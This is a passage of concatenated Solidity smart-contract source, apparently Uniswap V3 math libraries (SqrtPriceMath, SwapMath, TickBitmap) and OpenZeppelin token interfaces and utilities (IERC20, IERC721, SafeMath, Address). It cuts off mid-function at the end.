factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for liquidity library LiquidityMath { /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows /// @param x The liquidity before change /// @param y The delta by which liquidity should be changed /// @return z The liquidity delta function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) { if (y < 0) { require((z = x - uint128(-y)) < x, 'LS'); } else { require((z = x + uint128(y)) >= x, 'LA'); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity >=0.5.0; import './LowGasSafeMath.sol'; import './SafeCast.sol'; import './FullMath.sol'; import './UnsafeMath.sol'; import './FixedPoint96.sol'; /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } /// @notice Gets the next sqrt price given an input amount of token0 or token1 /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount /// @param liquidity The amount of usable liquidity /// @param amountIn How much of token0, or token1, is being swapped in /// @param zeroForOne Whether the amount in is token0 or token1 /// @return sqrtQX96 The price after adding the input amount to token0 or token1 function getNextSqrtPriceFromInput( uint160 sqrtPX96, uint128 liquidity, uint256 amountIn, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we don't pass the target price return zeroForOne ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true) : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true); } /// @notice Gets the next sqrt price given an output amount of token0 or token1 /// @dev Throws if price or liquidity are 0 or the next price is out of bounds /// @param sqrtPX96 The starting price before accounting for the output amount /// @param liquidity The amount of usable liquidity /// @param amountOut How much of token0, or token1, is being swapped out /// @param zeroForOne Whether the amount out is token0 or token1 /// @return sqrtQX96 The price after removing the output amount of token0 or token1 function getNextSqrtPriceFromOutput( uint160 sqrtPX96, uint128 liquidity, uint256 amountOut, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we pass the target price return zeroForOne ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false) : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false); } /// @notice Gets the amount0 delta between two prices /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper), /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up or down /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96; require(sqrtRatioAX96 > 0); return roundUp ? UnsafeMath.divRoundingUp( FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96), sqrtRatioAX96 ) : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96; } /// @notice Gets the amount1 delta between two prices /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up, or down /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return roundUp ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96) : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Helper that gets signed token0 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount0 delta /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount0) { return liquidity < 0 ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } /// @notice Helper that gets signed token1 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount1 delta /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount1) { return liquidity < 0 ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity >=0.5.0; import './FullMath.sol'; import './SqrtPriceMath.sol'; /// @title Computes the result of a swap within ticks /// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick. library SwapMath { /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive /// @param sqrtRatioCurrentX96 The current sqrt price of the pool /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred /// @param liquidity The usable liquidity /// @param amountRemaining How much input or output amount is remaining to be swapped in/out /// @param feePips The fee taken from the input amount, expressed in hundredths of a bip /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap /// @return feeAmount The amount of input that will be taken as a fee function computeSwapStep( uint160 sqrtRatioCurrentX96, uint160 sqrtRatioTargetX96, uint128 liquidity, int256 amountRemaining, uint24 feePips ) internal pure returns ( uint160 sqrtRatioNextX96, uint256 amountIn, uint256 amountOut, uint256 feeAmount ) { bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96; bool exactIn = amountRemaining >= 0; if (exactIn) { uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6); amountIn = zeroForOne ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true) : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true); if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96; else sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput( sqrtRatioCurrentX96, liquidity, amountRemainingLessFee, zeroForOne ); } else { amountOut = zeroForOne ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false) : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false); if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96; else sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput( sqrtRatioCurrentX96, liquidity, uint256(-amountRemaining), zeroForOne ); } bool max = sqrtRatioTargetX96 == sqrtRatioNextX96; // get the input/output amounts if (zeroForOne) { amountIn = max && exactIn ? amountIn : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true); amountOut = max && !exactIn ? amountOut : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false); } else { amountIn = max && exactIn ? amountIn : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true); amountOut = max && !exactIn ? amountOut : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false); } // cap the output amount to not exceed the remaining output amount if (!exactIn && amountOut > uint256(-amountRemaining)) { amountOut = uint256(-amountRemaining); } if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) { // we didn't reach the target, so take the remainder of the maximum input as fee feeAmount = uint256(amountRemaining) - amountIn; } else { feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint128 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) library FixedPoint128 { uint256 internal constant Q128 = 0x100000000000000000000000000000000; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity >=0.5.0; import './BitMath.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; /// @title Packed tick initialized state library /// @notice Stores a packed mapping of tick index to its initialized state /// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word. library TickBitmap { /// @notice Computes the position in the mapping where the initialized bit for a tick lives /// @param tick The tick for which to compute the position /// @return wordPos The key in the mapping containing the word in which the bit is stored /// @return bitPos The bit position in the word where the flag is stored function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) { wordPos = int16(tick >> 8); bitPos = uint8(tick % 256); } /// @notice Flips the initialized state for a given tick from false to true, or vice versa /// @param self The mapping in which to flip the tick /// @param tick The tick to flip /// @param tickSpacing The spacing between usable ticks function flipTick( mapping(int16 => uint256) storage self, int24 tick, int24 tickSpacing ) internal { require(tick 